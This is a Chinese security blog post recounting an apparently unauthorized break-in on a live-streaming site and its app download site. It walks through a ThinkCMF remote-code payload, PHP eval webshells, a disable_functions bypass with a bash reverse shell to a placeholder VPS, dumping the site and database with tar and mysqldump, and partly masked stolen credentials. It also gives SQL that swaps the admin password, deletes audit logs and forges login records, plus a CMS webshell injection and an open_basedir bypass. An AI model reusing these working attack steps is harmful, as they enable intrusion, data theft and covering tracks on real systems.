记一次因“打码”不严的渗透测试

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享


0x01 前言

这篇文章记录的是笔者在阅读“******惨案之对某色情直播渗透”文章时发现可能存在漏点的情况,所以就想着尝试找出目标站点并对其漏洞进行复现测试,再看下能不能继续深入的搞点事情。

事后才得知那篇文章是由团队成员@久哥和他公司小伙伴一起写的,并投稿到了某处,已告知漏点之处!!!


0x02 通过Twitter平台找目标站点

原文章作者虽然对域名、IP以及一些关键字等信息都做了打码处理,但笔者还是通过Twitter截图上的某些关键字成功找到那条推文信息,左为原作者截图,右为笔者截图。
记一次因“打码”不严的渗透测试


通过与原文中的推文作者头像和网站界面比对基本可以确定这就是他们的测试目标了,打开该网站后发现只是一个纯静态的APP引导下载站:http://****.xyz,暂时没法搞,先放一边。

记一次因“打码”不严的渗透测试


这里还需要通过这个APP找出他的域名,可以选择逆向APK或者抓包的方式得到。笔者没有Android逆向环境,找团队成员@Twe1ve帮忙看了下,说是加壳了,暂时没法脱,最后用Fiddler工具抓包得到他们测试的域名为:http://live.******.com

记一次因“打码”不严的渗透测试


使用Fiddler工具在抓HTTPS包时需要注意以下两点:

  • 1. 工具->选项->连接->Fidder在端口上侦听(必须和模拟器端口对应)

  • 2. 工具->选项->HTTPS->捕获HTTPS连接和解密HTTPS流量选项(勾选)

记一次因“打码”不严的渗透测试


0x03 利用ThinkCMF漏洞Getshell

通过对网站的观察发现是基于ThinkCMF开发的云豹直播系统,原文中已经说明这套程序的漏洞点出在ThinkCMF,并且作者也已经给出了最终利用Payload。
http://live.******.com/?a=fetch&content=<?=phpinfo();exit();
记一次因“打码”不严的渗透测试

phpinfo探针信息中得知目标PHP为7.2.18版本,disable_functions禁用了以下危险函数
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
记一次因“打码”不严的渗透测试

(1) 绕过写入字符长度限制

这里限制了写入字符的长度,无法一次性将我们的PHP一句话木马写进去,一次性写入时会提示:模板不存在:themes/simplebootx/Portal/Index/fetch.html。

http://live.******.com/?a=fetch&content=<?[email protected]$fp=fopen("xx.php",'a '); fwrite($fp,'<?php phpinfo();?>');exit();
记一次因“打码”不严的渗透测试

不过这里可以用fopen()函数+a将字符一个一个写进去,手动提交太麻烦,而且还经常写错,这里笔者将<?php phpinfo();?>分割成了每行一个字符,然后通过Burpsuite里的Intruder模块批量写入,注意线程不要过快,否则可能写入失败
<?php phpinfo();?>'"
记一次因“打码”不严的渗透测试

(2) 绕过中国菜刀PHP7限制

众所周知“中国菜刀”在PHP7版本以后是无法连接上普通PHP一句话木马的,按照上边提供的方法将以下PHP一句话木马写进去,当然也可以尝试使用中国蚁剑和冰蝎进行连接。

<?php $z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>

写入PHP一句话木马时发现空格经常出现问题,'单引号也写不进去404,可以将部分'单引号换成"双引号,写入空格时建议与前或后1个字符一起写入,最终修改的PHP一句话木马如下。
<?php $z0=str_replace("@set_magic_quotes_runtime(0);","",base64_decode($_POST[z0]));$_POST[z0]=base64_encode($z0);@eval($_POST[cmd]);?>

使用修改后的PHP一句话木马成功拿到Webshell权限,但是启用了disable_functions,中国菜刀的虚拟终端:“提示:......,可能远程启用了安全模式!”,无法直接执行系统命令
记一次因“打码”不严的渗透测试
记一次因“打码”不严的渗透测试

在以下两个数据库配置文件中找到MySQL、Redis账户密码,还在functions.php文件中找到一个过期的短信API账户密码,上边有QQ、Email、手机号等信息,暂时没什么鸟用,但可以先把这些信息搜集着,密码存在一定规律性,说不定后边能够用上。

  • /www/wwwroot/backend/data/conf/db.php

  • /www/wwwroot/backend/api/Config/dbs.php

 /* mysql */    'DB_TYPE' => 'mysqli',    'DB_HOST' => '127.0.0.1',    'DB_NAME' => 'MH***hN',    'DB_USER' => 'MH***hN',    'DB_PWD' => 'MH***hNBbaYaNWxk',    'DB_PORT' => '3306',    'DB_PREFIX' => 'cmf_',    'DB_CHARSET' => 'utf8mb4',
/* redis */ 'REDIS_HOST' => "127.0.0.1", 'REDIS_AUTH' => "****tao", 'REDIS_PORT' => "6379", //密钥 "AUTHCODE" => 'rCt52pF2cnnKNB3Hkp', //cookies    "COOKIE_PREFIX" => 'AJ1sOD_',

  • /www/wwwroot/backend/api/Common/functions.php

$smsapi = "http://api.sms***.com/";$user = "xiaotianxin***";  //短信平台帐号$pass = md5("dfh****");    //短信平台密码
QQ:776**344Email:***[email protected]手机号:150****6034

记一次因“打码”不严的渗透测试


0x04 绕过disable_functions反弹Shell

这里笔者直接用https://github.com/mm0r1/exploits项目中的php7-backtrace-bypass脚本绕过了disable_functions,将该脚本中的pwn("uname -a");修改为我们的Bash反弹命令即可。
pwn("bash -i >& /dev/tcp/VPS_IP_Addr/Port 0>&1");

记一次因“打码”不严的渗透测试


0x05 打包程序和数据并进入网站后台

在弹回的命令终端中连接MySQL时发现不能进行交互,这时我们只需要在弹回的命令终端中执行以下命令即可得到一个半交互式命令终端,然后就可以正常连接MySQL了。
记一次因“打码”不严的渗透测试

[[email protected] backend]$ python -c 'import pty; pty.spawn("/bin/bash")'
记一次因“打码”不严的渗透测试

(1) 打包网站程序和数据库

使用tar、mysqldump、gunzip等命令将该网站程序和数据库给打包下来,便于我们本地做复现测试,当时忘了截图,就几条命令的事,就不再去补图了。

tar -cvf backend.tar /www/wwwroot/backend/mysqldump -h127.0.0.1 -uroot -proot --databases MH***hN | gzip > backend.sql.gzgunzip backend.sql.gz

(2) 修改管理员密码进入后台

MySQL数据库中找到的管理员密码无法通过解密得到明文密码,在function.php文件中找到ThinkCFM的加密算法如下,密文格式为:###08e3756d043515f77e8de4f5deb00496。

<?php /* 密码加密 */function setPass($pass){$authcode='rCt52pF2cnnKNB3Hkp'; $pass="###".md5(md5($authcode.$pass)); return $pass;}echo setpass('123456')?>


通过加密算法得到一个密文,进入MySQL替换管理员密码即可进入目标网站后台,这种方式最为简单快捷,但是动静比较大,需选择一个管理员不在线的时间段去操作,否则可能会被对方发现,最后还得恢复管理员密码和清除登录IP和操作日志,为防止误操作建议先在本地搭建环境测试。

1、查询管理员用户:SELECT * FROM `cmf_users` WHERE `user_login`='B8V9nAV';
2、查询多少用户在用这个密码:SELECT * FROM `cmf_users` WHERE FIND_IN_SET('###08e3756d043515f77e8de4f5deb00496',user_pass);
3、查询最近登录用户:SELECT * FROM `cmf_users` ORDER BY last_login_time DESC;
4、修改管理员密码:UPDATE `cmf_users` SET `user_pass`='###73b13b8b4d767f6c3c2953f123d1a721' WHERE (`user_login`='B8V9nAV');
5、删除管理员日志并重新按ID进行排序:DELETE FROM `cmf_admin_log` WHERE (`id`>='4175');ALTER TABLE cmf_admin_log AUTO_INCREMENT = 1;
6、恢复管理员密码并替换最后登录IP和时间:UPDATE `cmf_users` SET `user_pass`='###08e3756d043515f77e8de4f5deb00496',`last_login_ip`='122.60.22.247',`last_login_time`='2020-07-23 05:41:06' WHERE (`user_login`='B8V9nAV');
记一次因“打码”不严的渗透测试


(3) 进入后台及后续渗透思路

目前可进入目标网站后台和后续的渗透思路有以下一些,也希望各位大佬能补充一些其它思路,谢谢!

  • 1、修改后台登录入口嗅探登录的用户和密码;

  • 2、通过加密算法生成密文字典进行撞库攻击;

  • 3、通过加密算法生成密文后进入数据库修改;

  • 4、XSS打Cookie或Flash水坑钓鱼等攻击方式;

  • 5、APK中注入恶意程序,替换APK的下载地址;

  • 6、......


0x06 峰回路转之撸下APP引导下载站

管理员将云豹直播系统和APP引导下载站分别放在不同服务器上,所以无法通过目前已拿到的Webshell直接跨到APP引导下载站。我们继续来看下APP引导下载站,由于它是一个纯静态的网站,所以只能对它的旁站进行测试,查询到的旁站列表如下
记一次因“打码”不严的渗透测试

旁站列表中找到一个http://cl.****.xyz,网页源代码中发现用的是“辣椒cms”,这套程序与“久草CMS”类似,大多被用来搭建Sex影视站,没有用到数据库,所有视频数据均调用主站数据库,管理员用户密码保存在.Jccms_jsonadmin_bossboss.php文件中。
记一次因“打码”不严的渗透测试

(1) 通过辣椒CMS进行Getshell

默认后台地址:http://cl.****.xyz/adminx/,使用“辣椒cms”默认管理员用户密码lajiaocms成功进入网站后台,然后在后台的登录重置处将密码修改为以下代码即可Getshell。

');echo ‘111111’;$z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>";//
记一次因“打码”不严的渗透测试

(2) 绕过宝塔open_basedir跨站

两台服务器都是使用宝塔建的站,每个站的根目录下都会有一个.user.ini文件,并且使用open_basedir限制我们进行跨目录访问,网站根目录.user.ini文件内容如下。

open_basedir=/www/wwwroot/cl.****.xyz/:/tmp/:/proc/
记一次因“打码”不严的渗透测试

不过我们可以在当前Webshell根目录下新建一个.user.ini文件,将内容修改如下即可绕过open_basedir限制跨目录访问。
open_basedir=/www/wwwroot/:/tmp/:/proc/

记一次因“打码”不严的渗透测试


至此已成功拿到这个APP引导下载站的权限,恢复下后台登录密码,简单清理下痕迹闪人了!!!

只需在公众号回复“HackTheBox”关键字即可领取一套HTB靶场的学习文档和视频,你还在等什么???


【推荐书籍】
记一次因“打码”不严的渗透测试
记一次因“打码”不严的渗透测试  如果对你有所帮助,点个分享、赞、在看呗!记一次因“打码”不严的渗透测试

本文始发于微信公众号(潇湘信安):记一次因“打码”不严的渗透测试

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: